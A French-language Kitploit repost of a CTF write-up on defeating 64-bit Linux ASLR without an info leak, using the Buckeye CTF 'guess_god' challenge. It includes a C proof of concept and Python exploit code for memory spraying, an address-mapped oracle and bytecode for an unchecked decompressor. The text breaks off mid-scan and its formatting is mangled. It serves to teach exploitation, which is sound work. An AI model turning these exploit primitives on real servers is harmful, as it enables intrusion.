Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/nick0ve/how-to-bypass-aslr-on-linux-x86_64
ExploitationCTFLearning & EducationBinary Exploitation
GitHubnick0ve/how-to-bypass-aslr-on-linux-x86_64

how-to-bypass-aslr-on-linux-x86_64

ASLR bypass without infoleak

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
16717il y a 4 ansVérifié par Kitploit

Contourner l'ASLR 64 bits sur Linux x86-64

Dans cet article, je vais discuter de l'application de la technique décrite par Samuel Groß dans son Remote iPhone Exploitation Part 2: Bringing Light into the Darkness -- a Remote ASLR Bypass, afin de contourner l'ASLR sur Linux x86_64.

Pour illustrer cela, je vais résoudre un défi pwnable du Buckeye CTF, guess_god.

Je vais essayer de garder le contenu aussi accessible que possible aux débutants, alors n'hésitez pas à sauter toute section si vous vous sentez assez confiant et que vous voulez juste voir l'exploit.

0. Introduction


Je n'ai pas joué au CTF, mais je me suis intéressé au défi environ 2 heures avant la fin du CTF grâce à Guray00, qui demandait de l'aide sur le discord de fibonhack à propos de manigances cryptographiques.

Je n'ai pas pu l'aider, mais j'ai jeté un œil aux défis pwnable, et j'ai pensé que ce serait bien de comprendre le blogpost de P0 et, avec un peu de chance, d'obtenir cette prime.

1. ASLR et comment le contourner

1.1 Qu'est-ce que l'ASLR ?

Address Space Layout Randomization (ASLR) est une technique de sécurité informatique qui consiste à positionner de manière aléatoire l'adresse de base d'un exécutable ainsi que la position des bibliothèques, du tas et de la pile, dans l'espace d'adressage d'un processus.

1.2 ASLR sur Linux

Sur Linux, vous pouvez inspecter les mappings d'un processus à partir de son pid via procfs, en lisant le fichier /proc/<pid>/maps.

Si vous êtes un processus et que vous voulez connaître vos propres mappings mémoire, vous pouvez lire /proc/self/maps.

Par exemple, vous pouvez essayer de lire /proc/self/maps avec cat :``` root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps 55faeb01c000-55faeb01e000 r--p 00000000 fe:01 2497233 /usr/bin/cat 55faeb01e000-55faeb023000 r-xp 00002000 fe:01 2497233 /usr/bin/cat 55faeb023000-55faeb026000 r--p 00007000 fe:01 2497233 /usr/bin/cat 55faeb026000-55faeb027000 r--p 00009000 fe:01 2497233 /usr/bin/cat 55faeb027000-55faeb028000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat 55faeb115000-55faeb136000 rw-p 00000000 00:00 0 [heap] 7fe15dfb1000-7fe15dfd5000 rw-p 00000000 00:00 0 7fe15dfd5000-7fe15dffb000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15dffb000-7fe15e166000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e166000-7fe15e1b2000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e1b2000-7fe15e1b5000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e1b5000-7fe15e1b8000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e1b8000-7fe15e1c3000 rw-p 00000000 00:00 0 7fe15e1c7000-7fe15e1c8000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1c8000-7fe15e1ef000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1ef000-7fe15e1f9000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1f9000-7fe15e1fb000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1fb000-7fe15e1fd000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fff4388f000-7fff438b0000 rw-p 00000000 00:00 0 [stack] 7fff43989000-7fff4398d000 r--p 00000000 00:00 0 [vvar] 7fff4398d000-7fff4398f000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]

root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps 55ffc0b1b000-55ffc0b1d000 r--p 00000000 fe:01 2497233 /usr/bin/cat 55ffc0b1d000-55ffc0b22000 r-xp 00002000 fe:01 2497233 /usr/bin/cat 55ffc0b22000-55ffc0b25000 r--p 00007000 fe:01 2497233 /usr/bin/cat 55ffc0b25000-55ffc0b26000 r--p 00009000 fe:01 2497233 /usr/bin/cat 55ffc0b26000-55ffc0b27000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat 55ffc2108000-55ffc2129000 rw-p 00000000 00:00 0 [heap] 7f1ec6e0f000-7f1ec6e33000 rw-p 00000000 00:00 0 7f1ec6e33000-7f1ec6e59000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6e59000-7f1ec6fc4000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6fc4000-7f1ec7010000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7010000-7f1ec7013000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7013000-7f1ec7016000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7016000-7f1ec7021000 rw-p 00000000 00:00 0 7f1ec7025000-7f1ec7026000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7026000-7f1ec704d000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec704d000-7f1ec7057000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7057000-7f1ec7059000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7059000-7f1ec705b000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7ffc72fa4000-7ffc72fc5000 rw-p 00000000 00:00 0 [stack] 7ffc72fe7000-7ffc72feb000 r--p 00000000 00:00 0 [vvar] 7ffc72feb000-7ffc72fed000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]

root@kitploit:~
### Schémas de mappages mémoire

Si vous faites cela quelques fois, vous pourriez en déduire que :
* La base PIE du binaire devrait se trouver dans la plage 0x00005500_00000000-0x00005700_00000000, ce qui signifie 2 To d'adresses possibles.
* Le tas est proche du binaire.
* Les bibliothèques se situent dans la plage 0x00007f00_00000000 - 0x00007fff_ffffffff, soit 1 To d'adresses possibles.
* La pile se trouve \(la plupart du temps\) dans la plage 0x00007ffc_00000000 - 0x00007fff_ffffffff, soit 16 Go d'adresses possibles.
* La plage 0xffffffffff600000 - 0xffffffffff601000 est toujours mappée, vous pouvez lire [cet article](http://terenceli.github.io/%E6%8A%80%E6%9C%AF/2019/02/13/vsyscall-and-vdso) si vous êtes curieux de savoir ce que c'est.

## 1.3 Comment contourner l'ASLR sans fuite d'informations

Voyons ce que vous pouvez faire pour contourner l'ASLR lorsqu'aucune fuite d'informations n'est possible.

Ceci est ma tentative de résumer ce que j'ai retenu de la lecture du billet de blog de Saelo.

Pour contourner l'ASLR, vous avez besoin de :
* Une technique de memory spraying, qui vous permet de mapper une mémoire contiguë d'une taille donnée, sur une plage d'adresses donnée.
  
  Comme il le dit, il y a deux façons de procéder :
  1. En abusant d'une fuite mémoire (pas une fuite d'informations !), un bug dans lequel un bloc de mémoire est « oublié » et jamais libéré, et en le déclenchant plusieurs fois jusqu'à ce que la quantité de mémoire souhaitée ait été fuite.
  2. En trouvant et en abusant d'un « gadget d'amplification » : un morceau de code qui prend un bloc de données existant et le copie, potentiellement plusieurs fois, permettant ainsi à l'attaquant de pulvériser une grande quantité de mémoire en n'envoyant qu'un nombre relativement restreint d'octets.
* Un oracle `isAddressMapped`, qui, étant donnée une adresse, vous indique si oui ou non cette adresse est mappée.

### PoC de contournement de l'ASLR sur Linux

Essayons de reproduire la PoC de saelo pour casser complètement l'ASLR sur Linux.

<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/93fcc6aff8ffd2e8395f34b35bc2f5d244e74a53b2fac39c3dae35c802227339.png" > <i> la PoC de saelo</i> <p/> <br/>

Sur Linux, ce n'est pas si facile : il n'est possible de casser complètement l'ASLR que si vous êtes capable d'allouer 16 To de mémoire.```C
#include <stdio.h>
#include <stdlib.h>

int main()
{
    // 64gb
    size_t size = 0x1000000000;

    // 16TB allocations
    for (int i = 0; i < 256; i++) {
        void *mem = malloc(size); // this ends up calling mmap
        if (!mem) {
            puts("Failed");
            return 1;
        }
        printf("%p\n", mem);
    }

    unsigned int *mem = (void*)0x7f0000000000ULL;
    *mem = 0x41414141;
    printf("R/W to %p: %x\n", mem, *mem);

    return 0;
}

Note sur l'allocation mémoire de glibc

D'après les notes de man malloc :

  • Normalement, malloc() alloue la mémoire depuis le tas, et ajuste la taille du tas si nécessaire, via sbrk(2). Lorsque des blocs de mémoire plus grands que MMAP_THRESHOLD octets sont alloués, l'implémentation glibc de malloc() alloue la mémoire comme un mappage anonyme privé via mmap(2). MMAP_THRESHOLD vaut 128 kB par défaut, mais peut être ajusté via mallopt(3). Les allocations réalisées via mmap(2) ne sont pas affectées par la limite de ressource RLIMIT_DATA (voir getrlimit(2)).

Donc void *mem = malloc(size) finira par appeler mmap(size + malloc_metadata_size, ...)

Comme les bibliothèques sont mappées dans le processus via mmap par ld, ces allocations finiront près des bibliothèques.

Astuce de franchissement de limite

Si vous examinez les adresses renvoyées par malloc, vous comprendrez mieux ce qui se passe. Astuce : regardez les octets de poids fort.

Le PoC exploite le fait qu'à un moment donné, l'octet de poids fort de l'adresse renvoyée passe de 7F à 7E et, comme les allocations sont contiguës, il doit y avoir quelque chose dans cette plage. (Oui, nous appliquons le théorème de Bolzano-Weirstress pour résoudre ce problème !)

2 Le challenge

Grâce à l'auteur, le zip contient les binaires, le code source et le dockerfile pour reproduire le même environnement que celui du serveur distant.


2.1 Premier accès

C'est toujours une bonne chose de se familiariser avec l'environnement ; parcourons les fichiers et prenons quelques notes.

  • jail.cfg définit certaines restrictions ; n'oublions pas ces limites, car elles pourraient faire échouer l'exploit : ```yaml time_limit: 300 cgroup_cpu_ms_per_sec: 100 cgroup_pids_max: 64 rlimit_fsize: 2048 rlimit_nofile: 2048 cgroup_mem_max: 1073741824 # 1GB
    root@kitploit:~
  • À partir du Dockerfile, on peut apprendre des choses intéressantes :
    1. Compiler et installer oatpp 1.2.5, il y a peut-être des bugs utiles dans cette version spécifique ?

      root@kitploit:~
      # Install oatpp
      RUN git clone https://github.com/oatpp/oatpp.git
      RUN cd /oatpp && git checkout 1.2.5 && mkdir build && cd build && cmake .. && make install
      
    2. Il compile le challenge à partir de zéro

      root@kitploit:~
      WORKDIR /home/ctf/challenge/src/
      RUN mkdir -p src/build && cd src/build && cmake .. && make
      RUN cp src/build/flag_server-exe src/build/libkylezip.so flag.txt /   home/  ctf/challenge/
      

      Cela pourrait poser problème, alors copions plutôt les binaires distribués.

      root@kitploit:~
      COPY bins/flag_server-exe /home/ctf/challenge/
      COPY bins/libkylezip.so /home/ctf/challenge/
      
  • Et pour finir, vérifions les protections des binaires fournis


    Parfait, libkylezip.so est compilé avec Partial RELRO, ce qui signifie que la GOT est inscriptible, gardez cela à l'esprit pour quand nous voudrons obtenir l'exécution de code.

2.2 Configurer l'environnement local et sonder l'application

Le fichier docker-compose.yml est fourni, il n'est donc pas difficile d'obtenir un environnement local fonctionnel à sonder. Pour ceux qui ne sont pas à l'aise avec Docker, voici la liste des commandes à connaître pour sonder le challenge localement.```bash docker-compose build # Build the image, do this whenever you change something docker-compose up # start the container docker-compose down # stop the container

docker ps # list containers docker exec -it # exec COMMAND into the container

root@kitploit:~
Après avoir fait `docker-compose build`, vous pouvez exécuter `docker-compose up` pour démarrer le conteneur, et vous connecter au challenge avec `nc 127.0.0.1 9000`
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2f6e0f8adeb34fa1c0360ac4f106a7e555e60d9526c2c2b68d18a88a2ebc2f5.png" ><br/> <i></i><p/> 

# 3. Analyse du code source

Maintenant que nous avons quelques connaissances de base sur ce qu'il faut faire pour contourner l'ASLR, regardons le code source, en gardant à l'esprit que nous voulons :
* un moyen de faire un spray mémoire dans des plages de mémoire connues
* un oracle isAddrMapped

<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/9de53f68dfebca28be7f8106ec19adda12ee2ce47e6dbb8734519e466c0cbdd8.png" width="50%"><br/> <i> Dossier du code source </i><p/> 

C'est surtout du code de liaison (glue code) pour faire fonctionner un serveur web oatpp ; en fait, les fichiers importants que nous allons analyser sont :
* src/controller/MyController.*
* kylezip/decompress.*

## 3.1 MyController.*

<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2a20d6b93582d4cc5e61eb373eb50ddcc8ac1576082ba5adc017d05d11138e4.png"><br/> <i>MyController.hpp</i><p/> 

Il y a 3 endpoints :
* `/`
* `GET /files/{fileId}` -> Télécharger un fichier précédemment uploadé, si extract est vrai, l'extraire avant de le télécharger.
* `POST /upload/{fileId}` -> Téléverser un fichier pour un {fileId} donné.

Et une fonction implémentée dans `MyController.cpp````C
std::shared_ptr<oatpp::base::StrBuffer> MyController::get_file(int file_id, bool extract) 

ce qui :

  • Définissez to_open sur {file_id} ou {file_id}.unkyle ```C std::ostringstream comp_fname; comp_fname << filename; if (extract) { // Want the un-kylezip-d version comp_fname << ".unkyle"; } auto to_open = comp_fname.str();

    root@kitploit:~
  • Si c'est la première fois que nous demandons l'extraction de {file_id}, alors il appelle decompress dessus, ce qui écrira le fichier décompressé de {file_id} dans {file_id}.unkyle. ```C int fd = open(to_open.c_str(), O_RDONLY); if (fd == -1) { if (!extract) return NULL;

    root@kitploit:~
    /* Need to create decompressed version of file
     * Kyle gave me a buggy library so we are going to fork
     * in case we crash the web server will still stay up.
     */
    pid_t p = fork();
    if (p == 0) {
      decompress(filename);
      exit(0);
    } else {
      waitpid(p, NULL, 0);
    }
    
    
    fd = open(to_open.c_str(), O_RDONLY);
    if (fd == -1) {
      return NULL;
    }
    

    }

    root@kitploit:~
  • Enfin, mmap le résultat en mémoire. ```C struct stat sb;

Observations

  • fork() crée un nouveau processus en dupliquant le processus appelant ; au moment de fork(), les deux espaces mémoire ont le même contenu.

    Donc si nous parvenons à transformer decompress() en un oracle qui :

    • Plante sur les adresses invalides
    • Ne plante pas sur les bonnes adresses

    Nous pourrions utiliser cette primitive pour déduire l'espace mémoire du parent.

  • Il y a un appel à mmap dans le processus parent : ```C void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);

    root@kitploit:~

si nous pouvons contrôler sb.st_size, qui est la taille du fichier décompressé, nous pourrions facilement en faire une primitive de memory spraying.

3.2 decompress.*

decompress()```C

int decompress(const char *fname)

root@kitploit:~
* Mappe le fichier d'entrée à l'adresse `0x42069000000`.
* Mappe le fichier de sortie à l'adresse `0x13371337000`.
* Appelle do_decompress() qui effectue la décompression.

Le fichier est attendu au format suivant :
| offset | nom | type | description |
| - | - | - | - | 
| +0h | magic | uint64 | une valeur magique, elle doit être 0x0123456789abcdef |
| +8h | filesize | uint64 | taille du fichier décompressé |

### do_decompress()```C
static void do_decompress(char *out, char *in, size_t insize)

Vous pouvez considérer cette fonction comme une simple machine virtuelle, qui exécute le bytecode pointé par in et écrit la sortie dans le tampon pointé par out.

in pointe vers notre {file_id}.

out pointe vers {file_id.unkyle}.

Cette VM possède 4 opcodes :

  • 0 -> NOP

  • 1 -> STORE(u8 b)

    écrit b dans out, incrémente out de 1.

    Implémentation de l'opcode : ```C case 1: { // Write byte uint8_t b = in[cur++]; *(out++) = b; break; }

    root@kitploit:~
  • 2 -> SEEK(u64 off)

    définit out à out + off.

    out et off sont des valeurs 64 bits, donc out = out+off est équivalent à out = (out+off) % MAX_64BIT_VALUE, c'est ce qu'on appelle un débordement d'entier et nous pouvons exploiter ce comportement pour atteindre n'importe quelle valeur 64 bits. Exemple : ```py M64 = (1<<64) # Maximum 64bit value def get_off(out: int, target: int): return (target-out) % M64

    We are at 0xffffffff, what can we add to reach 0?

Implémentation de l'opcode: ```C case 2: { // Seek uint64_t off = (uint64_t)(&in[cur]); cur += sizeof(off); out += off; break; }

root@kitploit:~
* 3 -> LOAD(off, size). 
Copiez `size` octets de `out - off` vers `out`, incrémentez `out` de 8.

Implémentation de l'opcode:  ```C
case 3: {
  // Copy some previously written bytes
  uint64_t off = *(uint64_t*)(&in[cur]);
  cur += sizeof(off);
  uint64_t count = *(uint64_t*)(&in[cur]);
  cur += sizeof(off);
  memcpy(out, out-off, count);
  out += count;
  break;
}

Il n'y a pas de contrôle des limites dans aucune des opérations, ce qui nous donne 2 primitives utiles :

  • Read What Where, en abusant de SEEK+LOAD
  • Write What Where : en abusant de SEEK+STORE

J'ai utilisé ce code pour construire le bytecode :```py IN_ADDR = 0x42069000000 # PROT R OUT_ADDR = 0x13371337000 # PROT RW M64 = (1<<64)-1

class CompressedFile(): slots = ['cur', 'content', 'out']

root@kitploit:~
def __init__(self, filesize):
    self.cur = 16
    self.content = b''
    self.content += p64(0x0123456789abcdef) # magic
    self.content += p64(filesize) # file size
    self.out = OUT_ADDR

def nop(self):
    self.content += b'\x00'
    self.cur += 1

def write(self, b: bytes):
    assert len(b) == 1

    self.content += b'\x01' + b
    self.cur += 2
    self.out += 1

def seek(self, off):
    self.content += b'\x02'
    self.content += p64(off)
    self.cur += 9

def memcpy(self, off, count):
    # memcpy(out, out-off, count);
    self.content += b'\x03'
    self.content += p64(off)
    self.content += p64(count)
    self.cur += 17
root@kitploit:~
# 4. Interagir avec le binaire

Avant de passer à la phase d'exploitation, il est toujours bon de construire quelque chose qui vous permette d'interagir facilement avec le binaire, afin d'éviter de perdre du temps.```py
import requests

def uploadFile(blob: bytes, fileid: int):
    assert (fileid < (1<<31) - 1)

    multipart_form_data = {
        'file': (f'payload_{fileid}', blob),
    }

    res = requests.post(
        f"http://{SERVER_IP}:{SERVER_PORT}/upload/{fileid}",
        files=multipart_form_data
    )

    return res

def getFile(fileid: int, extract="true"):
    res = requests.get(f"http://{SERVER_IP}:{SERVER_PORT}/files/{fileid}?extract={extract}")
    return res

Inspecter les mappings mémoire du challenge

Cela m'a été très important lorsque j'essayais de résoudre le challenge : j'ai passé beaucoup de temps à regarder les mappings mémoire.

Pour ce faire, vous pouvez lancer une instance locale du challenge et lire les mappings mémoire du processus après avoir effectué quelques opérations.


4.2 Oracle isAddrMapped

On nous donne une primitive de lecture read-what-where, donc construire un oracle isAddressMapped n'est pas difficile du tout.

Voici comment j'ai procédé : construire ce bytecode :

  • memcpy(out, targetAddress, 1)
  • write(b'A')

Si targetAddress n'est pas mappée, le programme enfant fait un segfault sur memcpy, ce qui nous donne un fichier décompressé rempli d'octets nuls.

Si targetAddress est mappée, le fichier décompressé contient un b'\x41' comme deuxième octet.```py def isAddrMapped(addr, fileid, filelen=2): toup = CompressedFile(filelen)

root@kitploit:~
# addr = OUT_ADDR - off
off = (OUT_ADDR - addr) & M64
# memcpy(toup.out, addr, 1)
toup.memcpy(off, 1)
# *(toup.out+1) = 0x41
toup.write(b'\x41')

uploadFile(toup.content, fileid)
res = getFile(fileid)
isMapped = res.content[1] == 0x41

return isMapped
root@kitploit:~
## 4.3 Primitive de spray mémoire

Nous pouvons contrôler entièrement la taille du fichier décompressé, et nous obtenons un mmap de cette taille dans [MyController.cpp:62](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/HEAD/resources/dist-guess-god/src/src/controller/MyController.cpp#L62).

Dans mon exploit, j'ai utilisé la fonction `isAddrMapped`, et modifié le filelen.

Par exemple, essayons d'allouer un bloc contigu de taille = 0x4000000 = 64 Mo```py
isAddrMapped(IN_ADDR, 0, 0x4000000)

Voilà le résultat:``` root@088ec31b2ce9:/home/ctf/challenge# cat /proc/47/maps ... 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle ...

root@kitploit:~
Si vous essayez de le refaire :```py
isAddrMapped(IN_ADDR, 0, 0x4000000)
isAddrMapped(IN_ADDR, 0, 0x4000000)

Voilà le résultat :``` 7f344c000000-7f3450000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle

root@kitploit:~
Génial ! Les allocations multiples n'auront pas de trous.

## 4.4 Quelle quantité de mémoire sprayer ?

Comme vous pouvez le voir dans [ce poc](#poc-of-aslr-bypass-on-linux), la taille idéale pour la mémoire mappée contiguë serait de 16 To.

Malheureusement, si vous essayez d'allouer 16 To de mémoire sur le serveur distant, le mmap échouera, car [nsjail limite cela](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64#21-initial-foothold).

Après quelques essais et erreurs, j'ai découvert que je peux sprayer ~3840 Mo de mémoire, avec ce code :```py
size =    0x000004000000
for i in range(0, 60):
    print ('.', end='')
    isAddrMapped(IN_ADDR, i, size)

les mappages mémoire résultants ressembleront à ceci :

Résultat du Memory Spray```

root@088ec31b2ce9:/home/ctf/challenge# cat /proc/pgrep flag_server-exe/maps ... My spray: ... 7fe2dc000000-7fe2e0000000 r--p 00000000 00:af 121 /challenge/files/59.unkyle 7fe2e0000000-7fe2e4000000 r--p 00000000 00:af 119 /challenge/files/58.unkyle 7fe2e4000000-7fe2e8000000 r--p 00000000 00:af 117 /challenge/files/57.unkyle 7fe2e8000000-7fe2ec000000 r--p 00000000 00:af 115 /challenge/files/56.unkyle 7fe2ec000000-7fe2f0000000 r--p 00000000 00:af 113 /challenge/files/55.unkyle 7fe2f0000000-7fe2f4000000 r--p 00000000 00:af 111 /challenge/files/54.unkyle 7fe2f4000000-7fe2f8000000 r--p 00000000 00:af 109 /challenge/files/53.unkyle 7fe2f8000000-7fe2fc000000 r--p 00000000 00:af 107 /challenge/files/52.unkyle 7fe2fc000000-7fe300000000 r--p 00000000 00:af 105 /challenge/files/51.unkyle 7fe300000000-7fe304000000 r--p 00000000 00:af 103 /challenge/files/50.unkyle 7fe304000000-7fe308000000 r--p 00000000 00:af 101 /challenge/files/49.unkyle 7fe308000000-7fe30c000000 r--p 00000000 00:af 99 /challenge/files/48.unkyle 7fe30c000000-7fe310000000 r--p 00000000 00:af 97 /challenge/files/47.unkyle 7fe310000000-7fe314000000 r--p 00000000 00:af 95 /challenge/files/46.unkyle 7fe314000000-7fe318000000 r--p 00000000 00:af 93 /challenge/files/45.unkyle 7fe318000000-7fe31c000000 r--p 00000000 00:af 91 /challenge/files/44.unkyle 7fe31c000000-7fe320000000 r--p 00000000 00:af 89 /challenge/files/43.unkyle 7fe320000000-7fe324000000 r--p 00000000 00:af 87 /challenge/files/42.unkyle 7fe324000000-7fe328000000 r--p 00000000 00:af 85 /challenge/files/41.unkyle 7fe328000000-7fe32c000000 r--p 00000000 00:af 83 /challenge/files/40.unkyle 7fe32c000000-7fe330000000 r--p 00000000 00:af 81 /challenge/files/39.unkyle 7fe330000000-7fe334000000 r--p 00000000 00:af 79 /challenge/files/38.unkyle 7fe334000000-7fe338000000 r--p 00000000 00:af 77 /challenge/files/37.unkyle 7fe338000000-7fe33c000000 r--p 00000000 00:af 75 /challenge/files/36.unkyle 7fe33c000000-7fe340000000 r--p 00000000 00:af 73 /challenge/files/35.unkyle 7fe340000000-7fe344000000 r--p 00000000 00:af 71 /challenge/files/34.unkyle 7fe344000000-7fe348000000 r--p 00000000 00:af 69 /challenge/files/33.unkyle 7fe348000000-7fe34c000000 r--p 00000000 00:af 67 /challenge/files/32.unkyle 7fe34c000000-7fe350000000 r--p 00000000 00:af 65 /challenge/files/31.unkyle 7fe350000000-7fe354000000 r--p 00000000 00:af 63 /challenge/files/30.unkyle 7fe354000000-7fe358000000 r--p 00000000 00:af 61 /challenge/files/29.unkyle 7fe358000000-7fe35c000000 r--p 00000000 00:af 59 /challenge/files/28.unkyle 7fe35c000000-7fe360000000 r--p 00000000 00:af 57 /challenge/files/27.unkyle 7fe360000000-7fe364000000 r--p 00000000 00:af 55 /challenge/files/26.unkyle 7fe364000000-7fe368000000 r--p 00000000 00:af 53 /challenge/files/25.unkyle 7fe368000000-7fe36c000000 r--p 00000000 00:af 51 /challenge/files/24.unkyle 7fe36c000000-7fe370000000 r--p 00000000 00:af 49 /challenge/files/23.unkyle 7fe370000000-7fe374000000 r--p 00000000 00:af 47 /challenge/files/22.unkyle 7fe374000000-7fe378000000 r--p 00000000 00:af 45 /challenge/files/21.unkyle 7fe378000000-7fe37c000000 r--p 00000000 00:af 43 /challenge/files/20.unkyle 7fe37c000000-7fe380000000 r--p 00000000 00:af 41 /challenge/files/19.unkyle 7fe380000000-7fe384000000 r--p 00000000 00:af 39 /challenge/files/18.unkyle 7fe384000000-7fe388000000 r--p 00000000 00:af 37 /challenge/files/17.unkyle 7fe388000000-7fe38c000000 r--p 00000000 00:af 35 /challenge/files/16.unkyle 7fe38c000000-7fe390000000 r--p 00000000 00:af 33 /challenge/files/15.unkyle 7fe390000000-7fe394000000 r--p 00000000 00:af 31 /challenge/files/14.unkyle 7fe394000000-7fe398000000 r--p 00000000 00:af 29 /challenge/files/13.unkyle 7fe398000000-7fe39c000000 r--p 00000000 00:af 27 /challenge/files/12.unkyle 7fe39c000000-7fe3a0000000 r--p 00000000 00:af 25 /challenge/files/11.unkyle 7fe3a0000000-7fe3a0021000 rw-p 00000000 00:00 0 7fe3a0021000-7fe3a4000000 ---p 00000000 00:00 0 7fe3a4000000-7fe3a8000000 r--p 00000000 00:af 23 /challenge/files/10.unkyle 7fe3a8000000-7fe3ac000000 r--p 00000000 00:af 21 /challenge/files/9.unkyle 7fe3ac000000-7fe3b0000000 r--p 00000000 00:af 19 /challenge/files/8.unkyle 7fe3b0000000-7fe3b4000000 r--p 00000000 00:af 17 /challenge/files/7.unkyle 7fe3b4000000-7fe3b8000000 r--p 00000000 00:af 15 /challenge/files/6.unkyle 7fe3b8000000-7fe3bc000000 r--p 00000000 00:af 13 /challenge/files/5.unkyle 7fe3bc000000-7fe3c0000000 r--p 00000000 00:af 11 /challenge/files/4.unkyle 7fe3c0000000-7fe3c4000000 r--p 00000000 00:af 9 /challenge/files/3.unkyle 7fe3c4000000-7fe3c8000000 r--p 00000000 00:af 7 /challenge/files/2.unkyle 7fe3c8000000-7fe3cc000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle 7fe3cc000000-7fe3d0000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle 7fe3d0000000-7fe3d01a8000 rw-p 00000000 00:00 0 7fe3d01a8000-7fe3d4000000 ---p 00000000 00:00 0

... Libraries: ...

7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0 7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so

...

root@kitploit:~
Concentrons notre attention sur les adresses créées avec la pulvérisation de mémoire. \(fichiers *.unkyle \)

Nous pouvons essayer d'appliquer l'[astuce de franchissement de limite](#Boundary-cross-trick).

| mem | franchissement de limite 4gb ?
| - |-
| 7fe2dc000000 | Non
| 7fe2e0000000 | Non
| 7fe2e4000000 | Non
| 7fe2e8000000 | Non
| 7fe2ec000000 | Non
| 7fe2f0000000 | Non
| 7fe2f4000000 | Non
| 7fe2f8000000 | Non
| 7fe2fc000000 | Non
| 7fe300000000 | Oui
| 7fe304000000 | Oui
| 7fe308000000 | Oui

En exploitant le passage de 7fe2.. à 7fe3.., nous pouvons scanner la mémoire avec un pas de 0x100000000 = 4gb de mémoire.

## 4.5 Vaincre enfin l'ASLR

Compte tenu de cette taille de pas, nous pouvons scanner de `start=0x7f0000000000` à `end=0x800000000000` avec seulement `end - start / size` = 256 requêtes.```py
start = 0x7f0000000000
end = 0x800000000000 
step = 0x100000000 # 4gb

isMapped = False
j = 0xff
while isMapped == False:
    leakAddr = start + j*step
